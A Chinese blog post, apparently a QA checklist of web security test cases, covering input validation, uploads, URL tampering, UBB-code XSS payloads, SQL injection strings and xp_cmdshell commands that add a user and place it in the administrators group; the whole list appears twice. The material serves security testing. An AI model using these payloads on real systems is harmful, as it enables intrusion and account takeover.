用安全测试用例
2015-05-30 11:37
218 查看
建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误.
1、输入验证
客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)
1.输入很大的数(如4,294,967,269),输入很小的数(负数)
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应
3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.输入中英文空格,输入字符串中间含空格,输入首尾空格
5.输入特殊字符串NULL,null,0x0d 0x0a
6.输入正常字符串
7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值;
要求输入字母则检查输入数字
8.输入html和javascript代码
9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化
例如:
1.输入”gfhd,看是否出错;
2.输入,看是否出现文本框;
3.输入
关于上传:
1.上传文件是否有格式限制,是否可以上传exe文件;
2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
7.对于文件名中带有中文字符,特殊字符等的文件上传。
下载:
避免输入:\..\web.
修改命名后缀。
关于URL:
1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;
2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;
3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。
4.输入善意字符。
UBB:
你的网站
1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.
2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用
3.输入编辑器中不存在的UBB代码,看是否起作用
链接
[email=javascript:alert('hello')]EMail[/email]
[email=yangtao@rising.com.cn STYLE="background-image:
url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]
[b STYLE="background-image:
url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]
[i STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
一二三四五六七北京市
[font=微软雅黑" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
一二三四五六七北京市
[float=left" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微软雅黑 STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
一二三四五六七北京市
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
输出编码
常用的测试输入语句有:
1.jpg" onmouseover="alert('xss')
">
http://xxx';alert('xss');var/ a='a
‘”>xss&<</div>
a=”\” ; b=”;alert(/xss/);//”
“’”
‘”’
“””
“ “ “
“”“
“‘ ”
title=””
对输出数据到输出数据的对比,看是否出现问题。
防止SQL注入
Admin--
‘or -------
‘ and (
) exec insert
* % chr
mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100)
char(49)char(61)char(49) ; AND
1=2
‘and 1=1 ;
‘And 1=1 ;
‘aNd 1=1
;
and 1=2 ;
‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username
已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators
/add”—
and 0<>(select count(*) from admin)
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where
xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where
name=nchar(29992)+nchar(25143)代替。
跨站脚本攻击(XSS)
对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME
标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?
★~!@#$%^&*()_+<>,./?;'"[]{}\-
★
★
★
★
★
★
★
★
★javascript:alert(/xss/)
★javascript:(/xss/)
★
★
★
★=’>
★1.jpg" onmouseover="alert('xss')
★">
★http://xxx';alert('xss');var/ a='a
★’”>xss&<</div>
★"onmouseover=alert('hello');"
★&{alert('hello');}
★>"'>
★>"'>
★>"'>
★AK"
style="background:url(javascript:alert('XSS'))" OS"
★"+alert('XSS')+"
★
★
★
★a?
★
1、输入验证
客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)
1.输入很大的数(如4,294,967,269),输入很小的数(负数)
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应
3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.输入中英文空格,输入字符串中间含空格,输入首尾空格
5.输入特殊字符串NULL,null,0x0d 0x0a
6.输入正常字符串
7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值;
要求输入字母则检查输入数字
8.输入html和javascript代码
9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化
例如:
1.输入”gfhd,看是否出错;
2.输入,看是否出现文本框;
3.输入
关于上传:
1.上传文件是否有格式限制,是否可以上传exe文件;
2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
7.对于文件名中带有中文字符,特殊字符等的文件上传。
下载:
避免输入:\..\web.
修改命名后缀。
关于URL:
1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;
2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;
3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。
4.输入善意字符。
UBB:
你的网站
1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.
2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用
3.输入编辑器中不存在的UBB代码,看是否起作用
链接
[email=javascript:alert('hello')]EMail[/email]
[email=yangtao@rising.com.cn STYLE="background-image:
url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]
[b STYLE="background-image:
url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]
[i STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
一二三四五六七北京市
[font=微软雅黑" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
一二三四五六七北京市
[float=left" STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微软雅黑 STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
一二三四五六七北京市
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image:
url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
输出编码
常用的测试输入语句有:
1.jpg" onmouseover="alert('xss')
">
http://xxx';alert('xss');var/ a='a
‘”>xss&<</div>
a=”\” ; b=”;alert(/xss/);//”
“’”
‘”’
“””
“ “ “
“”“
“‘ ”
title=””
对输出数据到输出数据的对比,看是否出现问题。
防止SQL注入
Admin--
‘or -------
‘ and (
) exec insert
* % chr
mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100)
char(49)char(61)char(49) ; AND
1=2
‘and 1=1 ;
‘And 1=1 ;
‘aNd 1=1
;
and 1=2 ;
‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username
已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators
/add”—
and 0<>(select count(*) from admin)
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where
xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where
name=nchar(29992)+nchar(25143)代替。
跨站脚本攻击(XSS)
对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME
标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?
★~!@#$%^&*()_+<>,./?;'"[]{}\-
★
★
★
★
★
★
★
★
★javascript:alert(/xss/)
★javascript:(/xss/)
★
★
★
★=’>
★1.jpg" onmouseover="alert('xss')
★">
★http://xxx';alert('xss');var/ a='a
★’”>xss&<</div>
★"onmouseover=alert('hello');"
★&{alert('hello');}
★>"'>
★>"'>
★>"'>
★AK"
style="background:url(javascript:alert('XSS'))" OS"
★"+alert('XSS')+"
★
★
★a?
★
相关文章推荐
- SQL深盲注入技术
- 【转载】虫师『性能测试』文章大汇…
- Back to the Basics! Essentials of Modern C++ Style
- 多进程解码网络编程模型选择的漫谈
- hdu 2044 一只小蜜蜂... (java)
- 突破软件测试的瓶颈(上)
- 51testing自动化测试学习第一天
- 云服务器的优点
- linux一键安装web环境全攻略---来…
- 测试工程师职业规划
- MySQL死锁导致无法查询
- 测试经验分享
- 关于apache进程堵塞时的调试…
- CentOS下Zabbix监控MySQL
- loadrunner使用sockets协议测试C/S…
- 性能测试常见术语
- linux网络相关内容
- LoadRunner学习知多少--IP欺骗使用
- LoadRunner学习知多少--进程和线程…
- 测试工具小结